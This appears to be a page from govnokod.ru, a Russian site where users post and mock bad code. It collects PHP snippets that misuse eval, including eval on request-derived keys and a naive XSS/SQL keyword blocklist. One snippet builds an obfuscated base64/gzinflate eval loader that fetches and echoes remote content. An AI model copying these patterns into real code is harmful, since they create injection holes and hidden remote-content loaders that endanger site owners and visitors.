- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
<?php
// ...
$vars = get_class_vars($class_name);
if(is_array($vars)) {
foreach($vars as $var => $val) {
eval('$this->' . $var . ' = \'' . $val . '\';');
}
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Этот поиск практически ничего не может найти! Но вы всё-таки попытайтесь, вдруг повезет.
Найдено: 98
+160.4
<?php
// ...
$vars = get_class_vars($class_name);
if(is_array($vars)) {
foreach($vars as $var => $val) {
eval('$this->' . $var . ' = \'' . $val . '\';');
}
}
некакая UNI-CMS
это не самое худшее. что я там нашел ... в общем мрак... (
+159
class someClass {
protected $map = array();
public function __construct(Array $data)
{
$this->map = $this->generateMap($data);
}
protected function generateMap(Array $data)
{
$map = array();
foreach ($data as $key => $value) {
...
$map[$otherSomeKey] = $otherSomeValue;
...
}
$this->map = $map;
}
}
Сидел час и не мог понять, почему у меня в $this->map оказывался постоянно NULL!
Уже передебажил всё, что мог и извел все нервы!
+153.1
function thaw() {
$this->get_lock();
$vals = $this->that->ac_get_value($this->id, $this->name);
eval(sprintf(";%s",$vals));
}
vals, this, that.. еще не хватает комментов типа // eval something, return nothing
lock видимо отпускать и не надо...
+131.3
function key_check($key) {
if ($key == '') { return ''; }
$key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
if ($key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST' OR $key =='GLOBALS') die("<h3>Error variable ".basename(__FILE__)." ".__LINE__."</h3>");
else return $key;
}
function str_check($str_val) {
if ($str_val == '') { return ''; }
if(preg_match("/<[^>]*script*\"?[^>]*>/i", $str_val)
or preg_match("/<[^>]*object*\"?[^>]*>/i", $str_val)
or preg_match("/<[^>]*applet*\"?[^>]*>/i", $str_val)
or preg_match("/<[^>]*form*\"?[^>]*>/i" , $str_val)
or preg_match("/&#\d+;{0,1}/i" , $str_val) ){
die("<h3>ERROR ".basename(__FILE__)." ".__LINE__."</h3>");
}
$str_val = str_replace( "&" , '&' , $str_val );
$str_val = str_replace( "<!--" , '<!--' , $str_val );
$str_val = str_replace( "-->" , '-->' , $str_val );
$str_val = str_replace( ">" , '>' , $str_val );
$str_val = str_replace( "<" , '<' , $str_val );
$str_val = str_replace( "\"" , '"' , $str_val );
$str_val = str_replace( "\r" , null , $str_val );
$str_val = str_notsqlatacs($str_val);
if (!get_magic_quotes_gpc()){$str_val=addslashes($str_val);}
return $str_val;
}
function str_notsqlatacs($str_val) {
$searcharray =array('/drop/i','/delete/i','/union/i','/char/i','/benchmark/i','/expression/i','/alert/i','/replace/i','/write/i','/document/i','/window/i','/script/i','/user_pass/i','/unescape/i','/eval/i','/form/i','/applet/i','/object/i','/user_login/i','/setTimeout/i','/onerror/i');
$replacearray=array('drop','delete','union','char','benchmark','Expression','Alert','Replace','Write','Document','Window','Script','User_pass','Unescape','Eval','Form','Applet','Object','User_login','/SetTimeout/i','/Onerror/i');//
$str_val=preg_replace($searcharray, $replacearray, $str_val);
return $str_val;
}
Фрагмент файла ./php/wojs.php "портального движка" WebCodePortalSystem версии 5.2. И вот так вся CMSка - два с половиной мегабайта говна.
+139.6
class db
{
public function __call($m,$args)
{
$export = array_map(function($v) { return var_export($v,1);},$args);
$str = $m."(".implode(',',$export).");";
$str = escapeshellarg($str);
$str = "/home/robot/db.class.php {$str};";
$answer = `$str`;
eval('$res = '.$answer.';');
@array_walk_recursive($res,function(&$v) { $v = iconv('cp1251','utf-8',$v); });
return $res;
}
}
//сам db.class.php
$db = new db($host,$db,$user,$pass);
eval('$res = $db->'.$argv[1]);
var_export($res);
интерпрайз
+144.3
function getFileCode() {
$url = "\$u=str_replace('%%KW%%', strtolower(\$_SERVER['QUERY_STRING']), '" . getConfigURL() . "')";
$ind = "\$i=str_replace('%%KW%%', 'index', '" . getConfigURL() . "')";
return "<?php eval(gzinflate(base64_decode('" . base64_encode(gzdeflate("$url;$ind;\$c=stream_context_create(array('http'=>array('timeout'=>3)));\$p=@file_get_contents(\$u,false,\$c);if(!\$p||(strpos(\$p,'404')!==false)){\$p=@file_get_contents(\$i,false,\$c);}echo \$p;")) . "'))); ?>";
}
+54
$k = "\$user->".$rowField->name;
eval("\$k = \"$k\";");
if ( !$k && $k !== '0' ) {
...
}
ребята не в курсе)
+142.1
if ($ret == '')
{
$ret = "array('$day', '$date_num', '$date_month', '$image', '$temperatura_high', '$temperatura_low', '$osadky')";
}
else
{
$ret .= ", array('$day', '$date_num', '$date_month', '$image', '$temperatura_high', '$temperatura_low', '$osadky')";
}
$i++;
}
$ret = '$array = array('.$ret.');';
eval($ret);
Нашел случайно. А ведь работает то :)
+153
function showFormEdit($id="",$sMsg="", $p_iPageIndex="")
{
global $oGlobal;
eval( $oGlobal->getGlobalVars() );
$oGlobal->importUserClass( "rubik.CMoneyOXConfig");
RImporter::importRubikClass("ext.xpbox.RHtmlImageUploadForm");
RImporter::importRubikClass("ext.xpbox.RHtmlUploadForm");
RImporter::importRubikClass("ext.xpbox.RDbComboboxHtml");
$oGlobal->importUserClass("rubik.CRubikHelper");
$oModel = $this->m_oModel;
$dirHelper= CMoneyOXConfig::getInstance();
$sBlast = "Manage Download";
$assetPath = ASSET_PATH;
$helper = new CRubikHelper();
$x_title = htmlentities( @$_POST['x_title'], ENT_QUOTES );
$x_type = @$_POST['x_type'];
$x_status = @$_POST['x_status'];
$x_date = @$_POST['x_date'];
if(!empty($id))
{
$result = $oModel->getDownloadbyID($id);
$record = $result->recordSet;
$row = $record[0];
$sBlast = "Edit Download";
$title = $row['title'];
$date= date("Y-m-d ",strtotime($row['date']));
if($row['publish']) $sYes= " checked=\"true\"";
else $sNo= " checked=\"true\"";
//create upload image form
$picUpload = new RHtmlImageUploadForm("x_picture",$dirHelper->downloadImageDir,$row['preview_image']);
$htmlPicture = $picUpload->createUploadFormHtml(50);
//create upload file form
$fileUpload = new RHtmlUploadForm("x_file",$dirHelper->downloadFileDir,$row['download_image'],".zip,.rar");
$htmlFile = $fileUpload->createUploadFormHtml(50);
//create combobox type
$sql = "select id,name from download_setting order by id";
$categoryTypeHtml = new RDbComboboxHtml($sql,"id", "name", "type",$row['type']);
$cbxType = $categoryTypeHtml->createCombobox();
$thumb = $helper->getThumbName($row['preview_image'],$dirHelper->downloadThumbDir);
$thumb = ABS_PATH.$thumb;
$thumb = str_replace("administrator/","",$thumb);
$thumbHtml = "<img src=\"{$thumb}\" alt=\"\" class=\"borderimg1\"/><br />
<input type=\"checkbox\" name=\"remove\" id=\"x_remove\" value=\"remove\" border=\"0\" />
Remove Photo";
}
@eval( "\$tpl= \"".getTemplate( "edit.back", COMP_PATH . "templates/back" )."\";" );
$sys_sCompContent .= $tpl;
return $tpl;
}
Индусы жгут по полной, вот код написанный въетнамцами хех
14MB в gz, полный ппц, тошнит до сих пор
+148.2
if ( is_array($_GET) ) {
while( list($k, $v) = each($_GET) ) {
if ( is_array($_GET[$k]) ) {
while( list($k2, $v2) = each($_GET[$k]) ) {
$k=key_check("$k");//Кавычки не убирать
$k2=key_check("$k2");
$_GET[$k][$k2] = str_check($v2);
@eval("\$".$k."[\$k2] = str_check(\$v2);");
}
}
else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
}
}
WCPS WebCodePortalSystem